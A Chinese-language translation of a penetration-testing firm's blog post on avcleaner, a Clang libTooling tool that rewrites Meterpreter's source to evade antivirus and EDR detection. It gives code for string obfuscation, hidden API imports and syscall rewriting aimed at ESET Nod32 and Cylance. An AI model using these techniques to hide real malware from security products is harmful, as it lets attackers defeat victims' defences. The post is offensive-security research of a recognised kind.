此文章记录了我们对杀毒软件某些方面的研究,以及我们如何设法自动重构Meterpreter以绕过我们所遇到的每个AV / EDR。 虽然下面详细介绍了每种技术的思想和字符串混淆过程的实现,但我们决定在以后的文章中发布有关API导入隐藏/系统调用重写的详细信息,以使此内容尽可能简短。 源代码位于https://github.com/scrt/avcleaner
大多数公司通常采取防御措施来保护其信息系统免受攻击,在这些措施中,杀毒软件或EDR等安全软件通常是必不可少的工具集。尽管过去几年来绕过任何类型的恶意软件检测机制非常容易,但如今这样做无疑需要付出更多的努力。
另一方面,在POC本身被反病毒软件阻止的情况下,与漏洞相关的风险交流变得更具有挑战性。尽管理论上可以说有可能绕过检测并保留它,但实际上这样做可能会增加强度。
鉴于此,需要能够绕过杀毒软件。使事情稍微复杂化的是,在SCRT,我们尽可能地使用公开可用的开源代码工具,以展示我们的工作可以被任何熟练使用它们的人复制,并且不依赖于昂贵的私人工具。
现在的社区通常喜欢将任何防病毒的检测机制归类为静态或动态。通常,如果在恶意软件执行之前触发了检测,则将其视为一种静态检测。但是,值得一提的是,杀软也可以在恶意软件执行期间调用静态检测机制(例如签名),以响应诸如进程创建,内存中文件下载等事件。无论如何,如果我们想对任何类型的安全软件使用旧的Meterpreter,我们都必须对其进行修改,使其满足以下要求:
在文件系统扫描或内存扫描时,绕过任何静态签名。绕过“行为检测”,这种行为通常与绕过用户界面API hooking有关。
但是,Meterpreter包含几个模块,整个代码库总计约700’000行代码。此外,它会不断更新,这意味着运行项目的私有分支肯定会导致扩展性很差。简而言之,我们需要一种自动转换代码库的方法。
经过多年绕过防病毒软件的实际经验,我们发现恶意软件检测几乎都是基于字符串,API hooks或两者的结合。
即使对于实施机器学习分类的产品(例如Cylance),一个没有字符串,API导入和可挂钩API调用的恶意软件也可以像足球射门一样穿过Sergio Rico的防御网络。
Meterpreter具有成千上万个字符串,不会以任何方式隐藏API导入,并且可以使用用户界面API hook轻松拦截敏感的API,例如WriteProcessMemory。 因此,我们需要以自动化的方式对此进行补救,这将产生两个潜在的解决方案:
源到源代码重构LLVM在编译时混淆代码库。
显然,后者将是首选方法,这是许多流行的研究得出相同的结论。 主要原因是,转换遍历可以只编写一次,而可以独立于软件的编程语言或目标体系结构重复使用。
但是,这样做需要有用Visual Studio以外的编译器编译Meterpreter的能力。尽管我们已于2018年12月发布了一些更改工作,但在一年多之后,正式代码库的采用仍然是一个需要持续的过程。
同时,我们已决定不顾一切成本的实施第一种方法。在对源代码重构的最新技术进行了彻底的回顾之后,libTooling(Clang / LLVM工具链的一部分)似乎是解析C / C ++源代码并对其进行修改的唯一可行的选择。
注意:由于代码库高度依赖Visual Studio,因此Clang无法解析Metepreter的很大一部分。但是,仍然有可能以一半的概率绕过目标防病毒软件。在这里,我们可能遇到源到源转换相对于编译时转换的唯一优势:那就是编译时转换要求整个项目进行编译而没有任何错误。而源到源转换可以允许成千上万的编译错误。而你只会得到一个不完整的抽象语法树,这非常好。
在C / C ++中,字符串可能位于许多不同的上下文中。 libTooling并不是一个足够好的工具,因此我们应用了帕雷托法则(也即二八定律),将研究范围限制在Meterpreter代码库中最可疑的字符串出现的代码上:
函数参数列表初始化
例如,我们知道,在以下情况下,ESET Nod32将标记字符串ntdll为可疑:
ntdll = LoadLibrary(TEXT("ntdll"))
但是,用以下方式重写此代码段将成功绕过检测:
wchar_t ntdll_str[] = {'n','t','d','l','l',0};
ntdll = LoadLibrary(ntdll_str)
在看不见的幕后,第一个代码片段使字符串ntdll存储在生成的二进制文件的.rdata段内,并且防病毒程序很容易发现该字符串。 第二个片段是字符串在运行时存储在堆栈中,并且在通常情况下与代码在静态上无法区分。 IDA Pro或替代产品通常能够识别字符串,但它们也需要对二进制文件运行更高级且计算量更大的分析。
在Meterpreter的代码库中,可以在几个文件中找到这种构造,例如在c/meterpreter/source/extensions/extapi/extapi.c 中:
Command customCommands[] =
{
COMMAND_REQ("extapi_window_enum", request_window_enum),
COMMAND_REQ("extapi_service_enum", request_service_enum),
COMMAND_REQ("extapi_service_query", request_service_query),
COMMAND_REQ("extapi_service_control", request_service_control),
COMMAND_REQ("extapi_clipboard_get_data", request_clipboard_get_data),
COMMAND_REQ("extapi_clipboard_set_data", request_clipboard_set_data),
COMMAND_REQ("extapi_clipboard_monitor_start", request_clipboard_monitor_start),
COMMAND_REQ("extapi_clipboard_monitor_pause", request_clipboard_monitor_pause),
COMMAND_REQ("extapi_clipboard_monitor_resume", request_clipboard_monitor_resume),
COMMAND_REQ("extapi_clipboard_monitor_purge", request_clipboard_monitor_purge),
COMMAND_REQ("extapi_clipboard_monitor_stop", request_clipboard_monitor_stop),
COMMAND_REQ("extapi_clipboard_monitor_dump", request_clipboard_monitor_dump),
COMMAND_REQ("extapi_adsi_domain_query", request_adsi_domain_query),
COMMAND_REQ("extapi_ntds_parse", ntds_parse),
COMMAND_REQ("extapi_wmi_query", request_wmi_query),
COMMAND_REQ("extapi_pageant_send_query", request_pageant_send_query),
...
}
这些字符串以明文形式存储在ext_server_espia.x64.dll的.rdata节中,并由ESET Nod32进行选择。
更糟糕的是,这些字符串是位于列表初始化程序中的宏的参数。 这引入了很多棘手的案例,但这些案例并不需要关心。我们的目的是自动重写此代码段,如下所示:
char hid_extapi_UQOoNXigAPq4[] = {'e','x','t','a','p','i','_','w','i','n','d','o','w','_','e','n','u','m',0};
char hid_extapi_vhFHmZ8u2hfz[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','e','n','u','m',0};
char hid_extapi_pW25eeIGBeru[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','q','u','e','r','y'
0};
char hid_extapi_S4Ws57MYBjib[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','c','o','n','t','r'
'o','l',0};
char hid_extapi_HJ0lD9Dl56A4[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','g','e','t'
'_','d','a','t','a',0};
char hid_extapi_IiEzXils3UsR[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','s','e','t'
'_','d','a','t','a',0};
char hid_extapi_czLOBo0HcqCP[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','s','t','a','r','t',0};
char hid_extapi_WcWbTrsQujiT[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','p','a','u','s','e',0};
char hid_extapi_rPiFTZW4ShwA[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','r','e','s','u','m','e',0};
char hid_extapi_05fAoaZLqOoy[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','p','u','r','g','e',0};
char hid_extapi_cOOyHTPTvZGK[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n','i','t','o','r','_','s','t','o','p',0};
char hid_extapi_smtmvW05cI9y[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n','i','t','o','r','_','d','u','m','p',0};
char hid_extapi_01kuYCM8z49k[] = {'e','x','t','a','p','i','_','a','d','s','i','_','d','o','m','a','i','n','_','q','u','e','r','y',0};
char hid_extapi_SMK9uFj6nThk[] = {'e','x','t','a','p','i','_','n','t','d','s','_','p','a','r','s','e',0};
char hid_extapi_PHxnGM7M0609[] = {'e','x','t','a','p','i','_','w','m','i','_','q','u','e','r','y',0};
char hid_extapi_J7EGS6FRHwkV[] = {'e','x','t','a','p','i','_','p','a','g','e','a','n','t','_','s','e','n','d','_','q','u','e','r','y',0};
Command customCommands[] =
{
COMMAND_REQ(hid_extapi_UQOoNXigAPq4, request_window_enum),
COMMAND_REQ(hid_extapi_vhFHmZ8u2hfz, request_service_enum),
COMMAND_REQ(hid_extapi_pW25eeIGBeru, request_service_query),
COMMAND_REQ(hid_extapi_S4Ws57MYBjib, request_service_control),
COMMAND_REQ(hid_extapi_HJ0lD9Dl56A4, request_clipboard_get_data),
COMMAND_REQ(hid_extapi_IiEzXils3UsR, request_clipboard_set_data),
COMMAND_REQ(hid_extapi_czLOBo0HcqCP, request_clipboard_monitor_start),
COMMAND_REQ(hid_extapi_WcWbTrsQujiT, request_clipboard_monitor_pause),
COMMAND_REQ(hid_extapi_rPiFTZW4ShwA, request_clipboard_monitor_resume),
COMMAND_REQ(hid_extapi_05fAoaZLqOoy, request_clipboard_monitor_purge),
COMMAND_REQ(hid_extapi_cOOyHTPTvZGK, request_clipboard_monitor_stop),
COMMAND_REQ(hid_extapi_smtmvW05cI9y, request_clipboard_monitor_dump),
COMMAND_REQ(hid_extapi_01kuYCM8z49k, request_adsi_domain_query),
COMMAND_REQ(hid_extapi_SMK9uFj6nThk, ntds_parse),
COMMAND_REQ(hid_extapi_PHxnGM7M0609, request_wmi_query),
COMMAND_REQ(hid_extapi_J7EGS6FRHwkV, request_pageant_send_query),
COMMAND_TERMINATOR
};
调用由外部库导出的函数会使链接器向导入地址表(IAT)写入一个条目。 最终函数名称将在二进制文件中以明文形式显示,因此在无需执行恶意文件的情况下,可以静态恢复函数名。 当然,有些函数名称相比其他名称更可疑。 一个更明智的做法是隐藏所有可疑二进制文件,同时,保留大多数合法二进制文件中存在的文件。
例如,在Metepreter的kiwi扩展中,可以找到以下行:
enumStatus = SamEnumerateUsersInDomain(hDomain, &EnumerationContext, 0, &pEnumBuffer, 100, &CountRetourned);
该函数由samlib.dll导出,因此链接器会使字符串samlib.dll和SamEnumerateUsersInDomain出现在已编译的二进制文件中。
要解决此问题,可以在运行时使用LoadLibrary/GetProcAddresss导入API。当然,这两个函数都适用于字符串,因此也必须对其进行混淆。 因此,我们希望按如下所示自动重写上述代码段:
typedef NTSTATUS(__stdcall* _SamEnumerateUsersInDomain)(
SAMPR_HANDLE DomainHandle,
PDword EnumerationContext,
DWORD UserAccountControl,
PSAMPR_RID_ENUMERATION* Buffer,
DWORD PreferedMaximumLength,
PDWORD CountReturned
);
char hid_SAMLIB_01zmejmkLCHt[] = {'S','A','M','L','I','B','.','D','L','L',0};
char hid_SamEnu_BZxlW5ZBUAAe[] = {'S','a','m','E','n','u','m','e','r','a','t','e','U','s','e','r','s','I','n','D','o','m','a','i','n',0};
HANDLE hhid_SAMLIB_BZUriyLrlgrJ = LoadLibrary(hid_SAMLIB_01zmejmkLCHt);
_SamEnumerateUsersInDomain ffSamEnumerateUsersInDoma =(_SamEnumerateUsersInDomain)GetProcAddress(hhid_SAMLIB_BZUriyLrlgrJ, hid_SamEnu_BZxlW5ZBUAAe);
enumStatus = ffSamEnumerateUsersInDoma(hDomain, &EnumerationContext, 0, &pEnumBuffer, 100, &CountRetourned);
Rewriting syscalls
默认情况下,在运行Cylance的计算机上使用Meterpreter的migration命令会触发杀软检测(请谨慎)。 Cylance会使用用户界面hook检测进程注入。 为了避开检测,可以去掉hook,这似乎是现在的主流趋势,或者可以完全避免使用hook。 我们发现,读取ntdll,恢复系统调用号并将其插入随时可以调用的Shellcode中更为简单,这可以有效地绕过任何杀软用户区的钩子。 迄今为止,我们尚未找到可以将从磁盘读取的NTDLL.DLL的行为识别为可疑的蓝队。
上述所有想法都可以在基于libtools的源代码重构工具中实现。本节说明我们是如何做到这一点的,这是在时间和耐心之间的妥协。因为缺少libtools文档,所以此处还有改进的空间,如果你发现了什么,那可能是我们希望得到的反馈。
编译器通常包括几个组件,最常见的是解析器和词法分析器。 当将源代码提供给编译器时,它首先从原始源代码(程序员编写的代码)中生成一个解析树,然后将语义信息添加到节点(编译器真正需要的)。 此步骤的结果称为抽象语法树。 维基百科展示了以下示例:
while b ≠ 0
if a > b
a := a − b
else
b := b − a
return a
这个小程序的典型AST如下所示:
在编写需要理解其他程序属性的程序时,这个数据结构允许使用更精确的算法,因此执行大规模代码重构是一个不错的选择。
由于我们需要正确修改源代码,因此我们需要熟悉Clang的AST。 好消息是Clang公开了一个命令行开关,以漂亮的颜色转储AST。 坏消息是,对于除”玩具项目”以外的所有项目,设置正确的编译器标志都非常棘手。
现在,让我们做一个现实而简单的翻译测试单元:
#include <windows.h>
typedef NTSTATUS (NTAPI *f_NtMapViewOfSection)(HANDLE, HANDLE, PVOID *, ULONG, ULONG,
PLARGE_INTEGER, PULONG, ULONG, ULONG, ULONG);
int main(void)
{
f_NtMapViewOfSection lNtMapViewOfSection;
HMODULE ntdll;
if (!(ntdll = LoadLibrary(TEXT("ntdll"))))
{
return -1;
}
lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection");
lNtMapViewOfSection(0,0,0,0,0,0,0,0,0,0);
return 0;
}
然后,将以下脚本插入.sh文件中:
WIN_INCLUDE="/Users/vladimir/headers/winsdk"
CLANG_PATH="/usr/local/Cellar/llvm/9.0.1"#"/usr/lib/clang/8.0.1/"
clang -cc1 -ast-dump "$1" -D "_WIN64" -D "_UNICODE" -D "UNICODE" -D "_WINSOCK_DEPRECATED_NO_WARNINGS"
"-I" "$CLANG_PATH/include"
"-I" "$CLANG_PATH"
"-I" "$WIN_INCLUDE/Include/msvc-14.15.26726-include"
"-I" "$WIN_INCLUDE/Include/10.0.17134.0/ucrt"
"-I" "$WIN_INCLUDE/Include/10.0.17134.0/shared"
"-I" "$WIN_INCLUDE/Include/10.0.17134.0/um"
"-I" "$WIN_INCLUDE/Include/10.0.17134.0/winrt"
"-fdeprecated-macro"
"-w"
"-fdebug-compilation-dir"
"-fno-use-cxa-atexit" "-fms-extensions" "-fms-compatibility"
"-fms-compatibility-version=19.15.26726" "-std=c++14" "-fdelayed-template-parsing" "-fobjc-runtime=gcc" "-fcxx-exceptions" "-fexceptions" "-fseh-exceptions" "-fdiagnostics-show-option" "-fcolor-diagnostics" "-x" "c++"
请注意,WIN_INCLUDE指向一个文件夹,其中包含与Win32 API进行交互的所有必需的标头。 这些是从标准Windows 10安装中直接获取的,为了避免让你头疼,我们建议你执行相同操作,千万不要选择MinGW。 然后,以需要测试的C文件作为参数来调用脚本。 虽然这会产生一个18MB的文件,但通过搜索我们定义的字符串之一(例如“ NtMapViewOfSection”),可以轻松导航到AST的有趣部分:
现在,我们有了一种可视化AST的方法,可以更轻易地了解如何更新节点才能获得结果,同时不在结果源代码中引入任何语法错误。 以下各节包含与使用libTooling进行AST操作有关实现的详细信息。
在进入有趣的内容之前,需要一些样板代码,因此需要将以下代码插入main.cpp中:
#include "clang/AST/ASTConsumer.h"
#include "clang/AST/ASTContext.h"
#include "clang/AST/Decl.h"
#include "clang/AST/Type.h"
#include "clang/ASTMatchers/ASTMatchFinder.h"
#include "clang/ASTMatchers/ASTMatchers.h"
#include "clang/Basic/SourceManager.h"
#include "clang/Frontend/CompilerInstance.h"
#include "clang/Frontend/FrontendAction.h"
#include "clang/Tooling/CommonOptionsParser.h"
#include "clang/Tooling/Tooling.h"
#include "clang/Rewrite/Core/Rewriter.h"
// LLVM includes
#include "llvm/ADT/ArrayRef.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/raw_ostream.h"
#include "Consumer.h"
#include "MatchHandler.h"
#include <IOStream>
#include <memory>
#include <string>
#include <vector>
#include <fstream>
#include <clang/Tooling/Inclusions/IncludeStyle.h>
#include <clang/Tooling/Inclusions/HeaderIncludes.h>
#include <sstream>
namespace ClSetup {
llvm::cl::OptionCategory ToolCategory("StringEncryptor");
}
namespace StringEncryptor {
clang::Rewriter ASTRewriter;
class Action : public clang::ASTFrontendAction {
public:
using ASTConsumerPointer = std::unique_ptr<clang::ASTConsumer>;
ASTConsumerPointer CreateASTConsumer(clang::CompilerInstance &Compiler,
llvm::StringRef Filename) override {
ASTRewriter.setSourceMgr(Compiler.getSourceManager(), Compiler.getLangOpts());
std::vector<ASTConsumer*> consumers;
consumers.push_back(&StringConsumer);
// several passes can be combined together by adding them to `consumers`
auto TheConsumer = llvm::make_unique<Consumer>();
TheConsumer->consumers = consumers;
return TheConsumer;
}
bool BeginSourceFileAction(clang::CompilerInstance &Compiler) override {
llvm::outs() << "Processing file " << 'n';
return true;
}
void EndSourceFileAction() override {
clang::SourceManager &SM = ASTRewriter.getSourceMgr();
std::string FileName = SM.getFileEntryForID(SM.getMainFileID())->getName();
llvm::errs() << "** EndSourceFileAction for: " << FileName << "n";
// Now emit the rewritten buffer.
llvm::errs() << "Here is the edited source file :nn";
std::string TypeS;
llvm::raw_string_ostream s(TypeS);
auto FileID = SM.getMainFileID();
auto ReWriteBuffer = ASTRewriter.getRewriteBufferFor(FileID);
if(ReWriteBuffer != nullptr)
ReWriteBuffer->write((s));
else{
llvm::errs() << "File was not modifiedn";
return;
}
std::string result = s.str();
std::ofstream fo(FileName);
if(fo.is_open())
fo << result;
else
llvm::errs() << "[!] Error saving result to " << FileName << "n";
}
};
}
auto main(int argc, const char *argv[]) -> int {
using namespace clang::tooling;
using namespace ClSetup;
CommonOptionsParser OptionsParser(argc, argv, ToolCategory);
ClangTool Tool(OptionsParser.getCompilations(),
OptionsParser.getSourcePathList());
auto Action = newFrontendActionFactory<StringEncryptor::Action>();
return Tool.run(Action.get());
}
由于该样板代码取自官方文档中的示例,因此不需要再进一步的描述。 唯一值得一提的修改是在CreateASTConsumer的内部。 我们的最终目标是在同一个翻译单元上进行多次转换。 可以通过将项目添加到集合中来完成(基本行是consumers.push_back(&...);)。
本节描述有关字符串混淆过程的最重要的实现细节,包括三个步骤:
在源代码中找到字符串。用变量替换它们在适当的位置(包含函数或全局上下文中)插入变量定义/赋值。
可以如下定义StringConsumer(在StringEncryptor命名空间的开头):
class StringEncryptionConsumer : public clang::ASTConsumer {
public:
void HandleTranslationUnit(clang::ASTContext &Context) override {
using namespace clang::ast_matchers;
using namespace StringEncryptor;
llvm::outs() << "[StringEncryption] Registering ASTMatcher...n";
MatchFinder Finder;
MatchHandler Handler(&ASTRewriter);
const auto Matcher = stringLiteral().bind("decl");
Finder.addMatcher(Matcher, &Handler);
Finder.matchAST(Context);
}
};
StringEncryptionConsumer StringConsumer = StringEncryptionConsumer();
给定一个翻译单元,我们可以告诉Clang在AST中找到一个模式,同时注册一个“处理程序”以在找到匹配项时调用。 Clang的ASTMatcher公开的模式匹配功能非常强大,但在这里并未得到充分利用,因为我们仅是用它来定位字符串。
然后,我们可以通过实现MatchHandler来解决问题,它将为我们提供MatchResult实例。 MatchResult包含对标识的AST节点的引用以及上下文信息。
接下来我们可以实现一个类的定义,并从clang::ast_matchers::MatchFinder::MatchCallback:继承一些东西:
#ifndef AVCLEANER_MATCHHANDLER_H
#define AVCLEANER_MATCHHANDLER_H
#include <vector>
#include <string>
#include <memory>
#include "llvm/Support/raw_ostream.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/ADT/ArrayRef.h"
#include "clang/Rewrite/Core/Rewriter.h"
#include "clang/Tooling/Tooling.h"
#include "clang/Tooling/CommonOptionsParser.h"
#include "clang/Frontend/FrontendAction.h"
#include "clang/Frontend/CompilerInstance.h"
#include "clang/Basic/SourceManager.h"
#include "clang/ASTMatchers/ASTMatchers.h"
#include "clang/ASTMatchers/ASTMatchFinder.h"
#include "clang/AST/Type.h"
#include "clang/AST/Decl.h"
#include "clang/AST/ASTContext.h"
#include "clang/AST/ASTConsumer.h"
#include "MatchHandler.h"
class MatchHandler : public clang::ast_matchers::MatchFinder::MatchCallback {
public:
using MatchResult = clang::ast_matchers::MatchFinder::MatchResult;
MatchHandler(clang::Rewriter *rewriter);
void run(const MatchResult &Result) override; // callback function that runs whenever a Match is found.
};
#endif //AVCLEANER_MATCHHANDLER_H
在MatchHandler.cpp中,我们必须实现MatchHandler的构造函数和run回调函数。 构造函数非常简单,仅仅只需要存储 clang::Rewrite的实例以供以后使用即可:
using namespace clang;
MatchHandler::MatchHandler(clang::Rewriter *rewriter) {
this->ASTRewriter = rewriter;
}
run的实现如下所示:
void MatchHandler::run(const MatchResult &Result) {
const auto *Decl = Result.Nodes.getNodeAs<clang::StringLiteral>("decl");
clang::SourceManager &SM = ASTRewriter->getSourceMgr();
// skip strings in included headers
if (!SM.isInMainFile(Decl->getBeginLoc()))
return;
// strings that comprise less than 5 characters are not worth the effort
if (!Decl->getBytes().str().size() > 4) {
return;
}
climbParentsIgnoreCast(*Decl, clang::ast_type_traits::DynTypedNode(), Result.Context, 0);
}
上面摘录的三段代码中有三个点值得一提:
我们提取与StringEncryptionConsumer中定义的模式匹配的AST节点。为此,可以调用函数getNodeAs,它需要一个字符串作为参数,该参数与模式绑定的标识符相关(请参见const auto Matcher = stringLiteral().bind("decl")行)我们会跳过分析中没有在翻译单元中定义的字符串。实际上,我们的过程会在Clang的预处理程序之后进行干预,它会将包含的系统头的内容复制粘贴到翻译单元中。然后,我们准备处理字符串。 由于我们需要在上下文中找到此字符串,因此需将提取的节点沿着Result.Context传递给用户定义的函数(在本例中为climbParentsIgnoreCast,因为缺少更好的名称),其中包含一个 参考随附的AST。 目标是向上访问树,直到找到有趣的节点。 在这种情况下,我们对CallExpr类型的节点感兴趣。
bool
MatchHandler::climbParentsIgnoreCast(const StringLiteral &NodeString, clang::ast_type_traits::DynTypedNode node,
clang::ASTContext *const pContext, uint64_t iterations) {
ASTContext::DynTypedNodeList parents = pContext->getParents(NodeString);
if (iterations > 0) {
parents = pContext->getParents(node);
}
for (const auto &parent : parents) {
StringRef ParentNodeKind = parent.getNodeKind().asStringRef();
if (ParentNodeKind.find("Cast") != std::string::npos) {
return climbParentsIgnoreCast(NodeString, parent, pContext, ++iterations);
}
handleStringInContext(&NodeString, pContext, parent);
}
return false;
}
简而言之,此函数以递归方式查找StringLiteral节点的父节点,直到找到一个有趣的节点(非“ cast”)。 handleStringInContext也很简单:
void MatchHandler::handleStringInContext(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
const clang::ast_type_traits::DynTypedNode node) {
StringRef ParentNodeKind = node.getNodeKind().asStringRef();
if (ParentNodeKind.compare("CallExpr") == 0) {
handleCallExpr(pLiteral, pContext, node);
} else if (ParentNodeKind.compare("InitListExpr") == 0) {
handleInitListExpr(pLiteral, pContext, node);
} else {
llvm::outs() << "Unhandled context " << ParentNodeKind << " for string " << pLiteral->getBytes() << "n";
}
}
从上面的代码片段可以明显看出,实际上只有两种类型的节点可以处理。 如果需要,添加更多内容也应该很容易。 事实上,这两种情况都已经用类似的方式处理。
void MatchHandler::handleCallExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
const clang::ast_type_traits::DynTypedNode node) {
const auto *FunctionCall = node.get<clang::CallExpr>();
if (isBlacklistedFunction(FunctionCall)) {
return; // exclude printf-like functions when the replacement is not constant anymore (C89 standard...).
}
handleExpr(pLiteral, pContext, node);
}
void MatchHandler::handleInitListExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
const clang::ast_type_traits::DynTypedNode node) {
handleExpr(pLiteral, pContext, node);
}
由于CallExpr和InitListExpr都可以用类似的方式处理,因此我们定义了一个公共的可用函数。
bool MatchHandler::handleExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
const clang::ast_type_traits::DynTypedNode node) {
clang::SourceRange LiteralRange = clang::SourceRange(
ASTRewriter->getSourceMgr().getFileLoc(pLiteral->getBeginLoc()),
ASTRewriter->getSourceMgr().getFileLoc(pLiteral->getEndLoc())
);
if(shouldAbort(pLiteral, pContext, LiteralRange))
return false;
std::string Replacement = translateStringToIdentifier(pLiteral->getBytes().str());
if(!insertVariableDeclaration(pLiteral, pContext, LiteralRange, Replacement))
return false ;
Globs::PatchedSourceLocation.push_back(LiteralRange);
return replaceStringLiteral(pLiteral, pContext, LiteralRange, Replacement);
}
我们随机生成一个变量名。在最近的位置找到一些空白空间,然后插入变量声明。 这基本上是一个ASTRewriter->InsertText()的包装将字符串替换为在步骤1中生成的标识符将字符串所在位置添加到集合中。 这很有用,因为在访问InitListExpr时,相同的字符串将出现两次(不知道为什么)。
最后一步是真正难以实现的一步,因此让我们首先关注这一点:
bool MatchHandler::replaceStringLiteral(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
clang::SourceRange LiteralRange,
const std::string& Replacement) {
// handle "TEXT" macro argument, for instance LoadLibrary(TEXT("ntdll"));
bool isMacro = ASTRewriter->getSourceMgr().isMacroBodyExpansion(pLiteral->getBeginLoc());
if (isMacro) {
StringRef OrigText = clang::Lexer::getSourceText(CharSourceRange(pLiteral->getSourceRange(), true),
pContext->getSourceManager(), pContext->getLangOpts());
// weird bug with TEXT Macro / other macros...there must be a proper way to do this.
if (OrigText.find("TEXT") != std::string::npos) {
ASTRewriter->RemoveText(LiteralRange);
LiteralRange.setEnd(ASTRewriter->getSourceMgr().getFileLoc(pLiteral->getEndLoc().getLocWithOffset(-1)));
}
}
return ASTRewriter->ReplaceText(LiteralRange, Replacement);
}
通常情况下,应该使用ReplaceText API实现替换文本,但是实际上遇到了很多错误。 当涉及到宏时,由于Clang的API行为不一致,因此事情会变得非常复杂。 例如,如果取消选中isMacroBodyExpansion(),最终将替换“ TEXT”而不是其参数。
例如,在LoadLibrary(TEXT("ntdll"))中,实际结果会变成LoadLibrary(your_variable("ntdll")),这明显是错误的。
原因是TEXT是一个宏,当由Clang的预处理器处理时,会将其替换为L"ntdll"。 我们的转换过程是在预处理器完成工作之后发生的,因此查询标记”ntdll”的开始和结束位置将产生几个字符的额外值,这对我们没有用处。 不幸的是,使用Clang的API来查询原始翻译单元中的实际位置是一种魔咒,只能通过不断试错来进行。
现在我们可以用变量标识符替换字符串了,我们的目标是定义该变量并为它分配给原始字符串的值。 简单的说,我们希望打补丁后的源代码包含char your_variable[] = "ntdll",同时不覆盖任何内容。
可能有两种情况:
字符串文字位于函数体内。字符串文字位于函数主体外部。
后者是最直接的方法,因为只需要查找使用字符串的表达式的开头即可。
对于前者,我们需要找到封闭函数。 Clang公开了一个API来查询函数体的起始位置。 这是插入变量声明的理想位置,因为该变量将在整个函数中可见,并且我们插入的标记不会覆盖内容。
在任何情况下,这两种情况都可以通过访问每一个父节点来解决,直到找到一个FunctionDecl或VarDecl类型的节点为止:
MatchHandler::findInjectionSpot(clang::ASTContext *const Context, clang::ast_type_traits::DynTypedNode Parent,
const clang::StringLiteral &Literal, bool IsGlobal, uint64_t Iterations) {
if (Iterations > CLIMB_PARENTS_MAX_ITER)
throw std::runtime_error("Reached max iterations when trying to find a function declaration");
ASTContext::DynTypedNodeList parents = Context->getParents(Literal);;
if (Iterations > 0) {
parents = Context->getParents(Parent);
}
for (const auto &parent : parents) {
StringRef ParentNodeKind = parent.getNodeKind().asStringRef();
if (ParentNodeKind.find("FunctionDecl") != std::string::npos) {
auto FunDecl = parent.get<clang::FunctionDecl>();
auto *Statement = FunDecl->getBody();
auto *FirstChild = *Statement->child_begin();
return {FirstChild->getBeginLoc(), FunDecl->getEndLoc()};
} else if (ParentNodeKind.find("VarDecl") != std::string::npos) {
if (IsGlobal) {
return parent.get<clang::VarDecl>()->getSourceRange();
}
}
return findInjectionSpot(Context, parent, Literal, IsGlobal, ++Iterations);
}
}
git clone https://github.com/SCRT/avcleaner
mkdir avcleaner/CMakeBuild && cd avcleaner/CMakeBuild
cmake ..
make
cd ..
bash run_example.sh test/string_simplest.c
如您所见,这很好用。 现在,此示例非常简单,可以使用正则表达式解决,并减少代码行数。